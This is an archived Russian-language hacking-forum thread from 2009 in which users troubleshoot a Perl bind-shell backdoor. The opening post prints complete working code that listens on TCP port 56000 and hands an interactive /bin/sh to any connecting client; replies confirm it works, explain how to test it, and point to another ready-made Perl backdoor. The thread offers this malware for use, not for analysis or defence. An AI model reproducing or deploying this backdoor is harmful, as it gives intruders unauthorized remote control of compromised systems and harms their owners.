PDA

Просмотр полной версии : Нюансы в perl bindshells


Snake Plissken
20.12.2009, 07:30
Столкнулся с таким вот явлением. В perl биндшеллах когда подключаешься и отправляешь команды, то тебе возвращается ": not found". И после каждой команды приходится точку с запятой лепить. Кроме того, когда пробую привязать bash в биндшелле, то при подключении он просто подвисает и ничего не происходит. Кто с этим встречался и как это решить?

Вот код среднестатистического бэкдора на перл


#!/usr/bin/perl
#bindshell.pl
#Usage: perl bindshell.pl &
use Socket;
$p=56000;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp') );
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind(S,sockaddr_in($p,INADDR_ANY));
listen(S,50);
while(1)
{
accept(X,S);
if(!($pid=fork)){
if(!defined $pid){exit(0);}
open STDIN,"<&X";
open STDOUT,">&X";
open STDERR,">&X";
exec("/bin/sh -i");
close X;
}
}

ShAnKaR
20.12.2009, 16:52
этот нормально работает у меня

ghostwizard
20.12.2009, 17:41
Все работает. Да, он не выводит PS1, но работает. Проверить можно через whoami.

Вот готовый хитрый бэкдор на перле:
_http://rawlab.mindcreations.com/codes/perl-backdoor.pl

Snake Plissken
22.12.2009, 19:06
Он работает, только чтобы команды выполнялись, нужно после каждой ставить ";", иначе выдает ": not found". А вот если exec("/bin/bash -i"); прописать то при коннектре биндшелл просто морозится и никак не реагирует. Проверял на последней убунте.